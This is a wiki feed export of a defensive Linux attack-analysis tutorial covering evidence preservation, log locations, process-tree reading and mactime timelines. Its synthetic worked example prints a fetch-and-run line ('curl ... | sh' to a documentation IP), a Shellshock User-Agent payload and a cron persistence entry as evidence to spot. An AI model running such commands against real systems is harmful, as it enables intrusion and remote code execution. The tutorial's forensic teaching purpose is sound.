&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=264</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=264"/>
		<updated>2026-10-02T23:34:02Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{submit}}&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
